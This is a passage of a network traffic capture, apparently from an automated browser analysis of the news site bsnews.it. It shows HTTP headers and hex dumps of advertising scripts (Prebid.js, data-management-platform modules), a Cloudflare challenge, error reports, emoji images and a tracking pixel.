2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 4b 65 79 73 29 26 26 61 21 3d 3d 77 2e 54 44 2e 44 45 41 4c 26 26 61 21 3d 3d 77 2e 54 44 2e 41 43 41 54 26 26 61 21 3d 3d 77 2e 54 44 2e 44 53 50 26 26 61 21 3d 3d 77 2e 54 44 2e 43 52 49 44 7c 7c 21 28 30 2c 69 2e 69 73 45 6d 70 74 79 53 74 72 29 28 75 29 26 26 6e 75 6c 6c 21 3d 75 3f 65 5b 61 5d 3d 75 3a 28 30 2c 69 2e 6c 6f 67 49 6e 66 6f 29 28 22 73 75 70 70 72 65 73 73 69 6e 67 20 65 6d 70 74 79 20 6b 65 79 20 27 22 2b 61 2b 22 27 20 66 72 6f 6d 20 61 64 73 65 72 76 65 72 20 74 61 72 67 65 74 69 6e 67 22 29 7d 29 29 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 59 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 5b 6e 2e 61 64 55 6e 69 74 43 6f 64 65 5d 7c 7c 28 65 5b 6e 2e 61 64 55 6e 69 74 43 6f 64 65 5d 3d 7b 62 69 64 73 3a 5b 5d 7d 29 2c 65 5b 6e 2e 61 64 55 6e Data Ascii: Keys)&&a!==w.TD.DEAL&&a!==w.TD.ACAT&&a!==w.TD.DSP&&a!==w.TD.CRID\|\|!(0,i.isEmptyStr)(u)&&null!=u?e[a]=u:(0,i.logInfo)("suppressing empty key '"+a+"' from adserver targeting")})),e}function Y(e,n){return e[n.adUnitCode]\|\|(e[n.adUnitCode]={bids:[]}),e[n.adUn
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 7b 76 61 72 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 28 30 2c 67 2e 74 69 6d 65 73 74 61 6d 70 29 28 29 3b 74 68 69 73 2e 67 65 6e 65 72 61 74 65 64 54 69 6d 65 3d 6e 2c 28 30 2c 6c 2e 5a 29 28 74 68 69 73 2c 54 2c 21 30 29 2c 79 28 74 68 69 73 2c 53 2c 42 29 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 7d 7d 2c 7b 6b 65 79 3a 22 67 65 74 43 6f 6e 73 65 6e 74 44 61 74 61 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 30 2c 66 2e 5a 29 28 74 68 69 73 2c 41 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 73 68 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 72 65 74 75 72 6e 28 Data Ascii: {var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:(0,g.timestamp)();this.generatedTime=n,(0,l.Z)(this,T,!0),y(this,S,B).call(this,e)}},{key:"getConsentData",value:function(){return(0,f.Z)(this,A)}},{key:"hash",get:function(){var e=this;return(
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 6e 26 26 28 72 3d 72 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 6e 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 72 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 31 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 74 3d 6e 75 6c 6c 21 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 6e Data Ascii: PropertySymbols){var r=Object.getOwnPropertySymbols(e);n&&(r=r.filter((function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),t.push.apply(t,r)}return t}function v(e){for(var n=1;n<arguments.length;n++){var t=null!=arguments[n]?arguments[n
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 41 4c 45 5f 52 45 4e 44 45 52 2c 4a 3d 66 2e 71 5f 2c 51 3d 4a 2e 50 52 45 56 45 4e 54 5f 57 52 49 54 49 4e 47 5f 4f 4e 5f 4d 41 49 4e 5f 44 4f 43 55 4d 45 4e 54 2c 24 3d 4a 2e 4e 4f 5f 41 44 2c 59 3d 4a 2e 45 58 43 45 50 54 49 4f 4e 2c 58 3d 4a 2e 43 41 4e 4e 4f 54 5f 46 49 4e 44 5f 41 44 2c 65 65 3d 4a 2e 4d 49 53 53 49 4e 47 5f 44 4f 43 5f 4f 52 5f 41 44 49 44 2c 6e 65 3d 7b 62 69 64 57 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 6c 2e 4b 2e 67 65 74 42 69 64 73 52 65 71 75 65 73 74 65 64 28 29 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 62 69 64 73 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 61 64 55 6e 69 74 43 6f 64 65 7d 29 29 7d 29 29 2e 72 65 64 75 63 65 28 61 Data Ascii: ALE_RENDER,J=f.q_,Q=J.PREVENT_WRITING_ON_MAIN_DOCUMENT,$=J.NO_AD,Y=J.EXCEPTION,X=J.CANNOT_FIND_AD,ee=J.MISSING_DOC_OR_ADID,ne={bidWon:function(e){if(!l.K.getBidsRequested().map((function(e){return e.bids.map((function(e){return e.adUnitCode}))})).reduce(a
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 74 2e 64 28 6e 2c 7b 52 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 2c 7a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 7d 29 3b 76 61 72 20 72 3d 77 69 6e 64 6f 77 2c 69 3d 72 2e 70 62 6a 73 3d 72 2e 70 62 6a 73 7c 7c 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 72 65 74 75 72 6e 20 69 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 69 2e 69 6e 73 74 61 6c 6c 65 64 4d 6f 64 75 6c 65 73 2e 70 75 73 68 28 65 29 7d 69 2e 63 6d 64 3d 69 2e 63 6d 64 7c 7c 5b 5d 2c 69 2e 71 75 65 3d 69 2e 71 75 65 7c 7c 5b 5d 2c 72 3d 3d 3d 77 69 6e 64 6f 77 26 26 28 72 2e 5f 70 62 6a 73 47 6c 6f 62 61 6c 73 3d 72 2e 5f 70 62 6a 73 47 6c 6f 62 61 6c 73 7c 7c 5b 5d 2c 72 2e 5f 70 62 6a 73 47 6c Data Ascii: function(e,n,t){t.d(n,{R:function(){return o},z:function(){return a}});var r=window,i=r.pbjs=r.pbjs\|\|{};function o(){return i}function a(e){i.installedModules.push(e)}i.cmd=i.cmd\|\|[],i.que=i.que\|\|[],r===window&&(r._pbjsGlobals=r._pbjsGlobals\|\|[],r._pbjsGl
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 2c 66 69 6c 74 65 72 3a 22 69 6e 63 6c 75 64 65 22 7d 7d 2c 73 79 6e 63 73 50 65 72 42 69 64 64 65 72 3a 35 2c 73 79 6e 63 44 65 6c 61 79 3a 33 65 33 2c 61 75 63 74 69 6f 6e 44 65 6c 61 79 3a 30 7d 3b 61 2e 76 63 2e 73 65 74 44 65 66 61 75 6c 74 73 28 7b 75 73 65 72 53 79 6e 63 3a 28 30 2c 6f 2e 64 65 65 70 43 6c 6f 6e 65 29 28 70 29 7d 29 3b 76 61 72 20 76 3d 28 30 2c 63 2e 65 41 29 28 22 75 73 65 72 73 79 6e 63 22 29 3b 76 61 72 20 68 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 7b 7d 2c 74 3d 7b 69 6d 61 67 65 3a 5b 5d 2c 69 66 72 61 6d 65 3a 5b 5d 7d 2c 63 3d 6e 65 77 20 53 65 74 2c 73 3d 7b 7d 2c 70 3d 7b 69 6d 61 67 65 3a 21 30 2c 69 66 72 61 6d 65 3a 21 31 7d 2c 76 3d 65 2e 63 6f 6e 66 69 67 3b 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 69 Data Ascii: ,filter:"include"}},syncsPerBidder:5,syncDelay:3e3,auctionDelay:0};a.vc.setDefaults({userSync:(0,o.deepClone)(p)});var v=(0,c.eA)("usersync");var h=function(e){var n={},t={image:[],iframe:[]},c=new Set,s={},p={image:!0,iframe:!1},v=e.config;function h(){i
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 74 6e 61 6d 65 2b 28 65 2e 70 6f 72 74 3f 22 3a 22 2e 63 6f 6e 63 61 74 28 65 2e 70 6f 72 74 29 3a 22 22 29 29 2b 28 65 2e 70 61 74 68 6e 61 6d 65 7c 7c 22 22 29 2b 28 65 2e 73 65 61 72 63 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 4f 2e 66 6f 72 6d 61 74 51 53 28 65 2e 73 65 61 72 63 68 7c 7c 22 22 29 29 3a 22 22 29 2b 28 65 2e 68 61 73 68 3f 22 23 22 2e 63 6f 6e 63 61 74 28 65 2e 68 61 73 68 29 3a 22 22 29 7d 66 75 6e 63 74 69 6f 6e 20 58 65 28 65 2c 6e 29 7b 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 7b 7d 2c 72 3d 74 2e 63 68 65 63 6b 54 79 70 65 73 2c 69 3d 76 6f 69 64 20 30 21 3d 3d 72 26 26 72 3b 69 66 28 65 3d 3d Data Ascii: tname+(e.port?":".concat(e.port):""))+(e.pathname\|\|"")+(e.search?"?".concat(O.formatQS(e.search\|\|"")):"")+(e.hash?"#".concat(e.hash):"")}function Xe(e,n){var t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=t.checkTypes,i=void 0!==r&&r;if(e==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.4	49946	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:13 UTC	536	OUT	GET /codesour/bsnews/923.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:14 UTC	592	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:14 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 691 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:32 GMT x-rgw-object-type: Normal ETag: "57cadbc27e282a97562638fd2206cdf9" x-amz-request-id: tx000009184293cb15041ca-0066052f82-2bb8de9-prg X-77-NZT: AyUTzgQ3NzehnJI74jc3N6FtPVoOLfotAA X-77-NZT-Ray: 8e305f1ceaf3f55d822f0566a6a23b03 X-77-Cache: MISS Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:14 UTC	691	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 39 32 33 5d 2c 7b 39 32 33 3a 28 74 2c 65 2c 72 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 72 2e 72 28 65 29 3b 76 61 72 20 61 3d 72 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 6f 7d 3d 61 2e 74 2c 6e 3d 6e 65 77 20 6f 28 22 44 4d 50 20 3e 20 57 65 62 6f 72 61 6d 61 22 29 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 77 69 6e 64 6f 77 3b 6e 2e 6c 6f 67 28 22 49 6e 69 74 69 61 6c 69 7a 65 20 57 65 62 6f 72 61 6d 61 20 31 22 29 3b 63 6f 6e 73 74 7b 64 6d 70 43 6f 6e 66 69 67 3a 65 7d 3d 74 2e 5f 73 6f 75 72 2e 63 6f 6e 66 69 67 3b 69 66 28 21 65 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[923],{923:(t,e,r)=>{"use strict";r.r(e);var a=r(845);const{LoggerSour:o}=a.t,n=new o("DMP > Weborama");!function(){var t=window;n.log("Initialize Weborama 1");const{dmpConfig:e}=t._sour.config;if(!e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.4	49945	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:13 UTC	536	OUT	GET /codesour/bsnews/326.prod.js HTTP/1.1 Host: cdn.codesour.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:14 UTC	593	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:14 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 1023 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 13 Feb 2024 14:39:23 GMT x-rgw-object-type: Normal ETag: "d14c9ebfe4d3ad5f64bfac8e3aa25d7f" x-amz-request-id: tx0000022c80e09ed039237-0066052f82-2bb8de9-prg X-77-NZT: AyUTzgQ3NzehnJI74jc3N6FtPVoCFO/hAA X-77-NZT-Ray: 8e305f1c8504075e822f05668e178503 X-77-Cache: MISS Server: CDN77-Turbo X-Cache: MISS X-77-POP: ashburnUSVA Accept-Ranges: bytes
2024-03-28 08:51:14 UTC	1023	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 73 6f 75 72 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 33 32 36 5d 2c 7b 33 32 36 3a 28 65 2c 74 2c 6f 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6f 2e 72 28 74 29 3b 76 61 72 20 6e 3d 6f 28 38 34 35 29 3b 63 6f 6e 73 74 7b 4c 6f 67 67 65 72 53 6f 75 72 3a 73 7d 3d 6e 2e 74 2c 61 3d 6e 65 77 20 73 28 22 44 4d 50 20 3e 20 4f 6d 6e 69 63 6f 6d 22 29 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2c 61 2e 6c 6f 67 28 22 4f 6d 6e 69 63 6f 6d 20 2d 20 49 6e 69 74 22 29 3b 6c 65 74 20 65 3d 22 3c 73 70 61 6e 20 69 64 3d 27 73 6f 75 72 2d 6f 6d 6e 69 63 6f 6d 2d 73 63 72 69 70 74 73 27 3e 22 3b 65 2b 3d 27 3c 73 63 72 69 70 74 20 Data Ascii: (self.webpackChunksour=self.webpackChunksour\|\|[]).push([[326],{326:(e,t,o)=>{"use strict";o.r(t);var n=o(845);const{LoggerSour:s}=n.t,a=new s("DMP > Omnicom");!function(){window,a.log("Omnicom - Init");let e="<span id='sour-omnicom-scripts'>";e+='<script

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.4	49944	104.21.27.89	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:13 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/g/jsd/r/86b660308efd07dd HTTP/1.1 Host: bsnews.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _gcl_au=1.1.1773882818.1711615867; _ga=GA1.2.30849489.1711615863; _gid=GA1.2.323934972.1711615869; _gat_gtag_UA_11020879_7=1; cf_clearance=t9gExq.VTCgxStpdlhTVwJUo6EadbupAw55Sro013BQ-1711615870-1.0.1.1-pV_vKXAJuAO9zgXoYY73izX8Nm6CZI3He7cZADEvrBUEtjfnXTap.xx4DthdIgWLxd_rEhXZwUqylrJKmFbRxA
2024-03-28 08:51:14 UTC	709	IN	HTTP/1.1 400 Bad Request Date: Thu, 28 Mar 2024 08:51:14 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: RVDiS8GKHgF+O5N95SVvFA==$p0aPzBT9ffZXwDk/pEYIGw== Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S64%2BINFT7dT%2FphQqxFG4yX%2Fhk4MN1Y349vE2QuAeBGp7dHJMWiT98mbZXv2%2BVlj0Nox4YDCSPP%2FlNpybfJAKvaavsAqG8mWgGja8hZlm31dgUpPcY4w%2BwJWbkeo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6608d29ec5974-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:14 UTC	12	IN	Data Raw: 37 0d 0a 69 6e 76 61 6c 69 64 0d 0a Data Ascii: 7invalid
2024-03-28 08:51:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.4	49948	35.190.80.1	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:13 UTC	470	OUT	POST /report/v4?s=dSeC6vv4JWoebDVCjyJ449LEuTHSuGVLzP%2FIg%2B0GOQwfjd4QCi7vcC5eKQIfiTwItcSBFwk0GZapDpuaoyv0XOgHUVTgt2s6uoB0R5XM%2Bkb428q3ccmRM9cN2VU%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 402 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:13 UTC	402	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 30 38 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 32 37 2e 38 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 73 6e 65 77 73 2e 69 74 2f 77 70 2d 61 64 6d Data Ascii: [{"age":0,"body":{"elapsed_time":1081,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.27.89","status_code":400,"type":"http.error"},"type":"network-error","url":"https://bsnews.it/wp-adm
2024-03-28 08:51:14 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 28 Mar 2024 08:51:14 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.4	49956	192.0.77.48	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:14 UTC	369	OUT	GET /images/core/emoji/14.0.0/svg/1f534.svg HTTP/1.1 Host: s.w.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:14 UTC	464	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:14 GMT Content-Type: image/svg+xml Content-Length: 113 Connection: close Last-Modified: Tue, 12 Apr 2022 03:47:26 GMT X-Frame-Options: SAMEORIGIN Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Alt-Svc: h3=":443"; ma=86400 X-nc: HIT dca 1 X-Content-Type-Options: nosniff Accept-Ranges: bytes
2024-03-28 08:51:14 UTC	113	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 36 20 33 36 22 3e 3c 63 69 72 63 6c 65 20 66 69 6c 6c 3d 22 23 44 44 32 45 34 34 22 20 63 78 3d 22 31 38 22 20 63 79 3d 22 31 38 22 20 72 3d 22 31 38 22 2f 3e 3c 2f 73 76 67 3e Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><circle fill="#DD2E44" cx="18" cy="18" r="18"/></svg>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.4	49939	138.199.8.195	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:14 UTC	662	OUT	GET /?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=req&pos=0&loop=1&pb=1&rnd=1711615872208 HTTP/1.1 Host: track.sunmedia.tv Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:14 UTC	357	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:14 GMT Content-Type: image/gif Content-Length: 42 Connection: close Last-Modified: Thu, 15 Nov 2018 09:59:07 GMT Cache-control: max-age=0, s-maxage=31536000 X-Device: desktop Accept-Ranges: bytes Age: 49167 TP-Cache: HIT Vary: Accept-Encoding Access-Control-Allow-Credentials: true
2024-03-28 08:51:14 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.4	49955	192.0.77.48	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:14 UTC	369	OUT	GET /images/core/emoji/14.0.0/svg/1f4fa.svg HTTP/1.1 Host: s.w.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:14 UTC	487	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:14 GMT Content-Type: image/svg+xml Content-Length: 687 Connection: close Last-Modified: Tue, 12 Apr 2022 03:47:26 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Alt-Svc: h3=":443"; ma=86400 X-nc: HIT dca 2 X-Content-Type-Options: nosniff Accept-Ranges: bytes
2024-03-28 08:51:14 UTC	687	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 36 20 33 36 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 33 31 33 37 33 44 22 20 64 3d 22 4d 33 35 20 33 31 73 30 20 34 2d 34 20 34 48 35 63 2d 34 20 30 2d 34 2d 34 2d 34 2d 34 56 31 32 63 30 2d 34 20 34 2d 34 20 34 2d 34 68 32 36 73 34 20 30 20 34 20 34 76 31 39 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 33 31 33 37 33 44 22 20 64 3d 22 4d 32 31 2e 33 30 33 20 31 30 2e 33 38 39 63 2e 33 39 31 2e 33 39 31 2e 33 39 31 20 31 2e 30 32 33 20 30 20 31 2e 34 31 34 73 2d 31 2e 30 32 33 2e 33 39 31 2d 31 2e 34 31 34 20 30 6c 2d 39 2e 31 39 32 2d 39 2e 31 39 32 63 2d 2e 33 39 31 2d 2e 33 39 31 2d Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><path fill="#31373D" d="M35 31s0 4-4 4H5c-4 0-4-4-4-4V12c0-4 4-4 4-4h26s4 0 4 4v19z"/><path fill="#31373D" d="M21.303 10.389c.391.391.391 1.023 0 1.414s-1.023.391-1.414 0l-9.192-9.192c-.391-.391-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.4	49942	51.161.15.30	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:14 UTC	518	OUT	GET /sdks/3p/prebid-js/0.3.0/sm-prebid.js HTTP/1.1 Host: static.sunmedia.tv Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
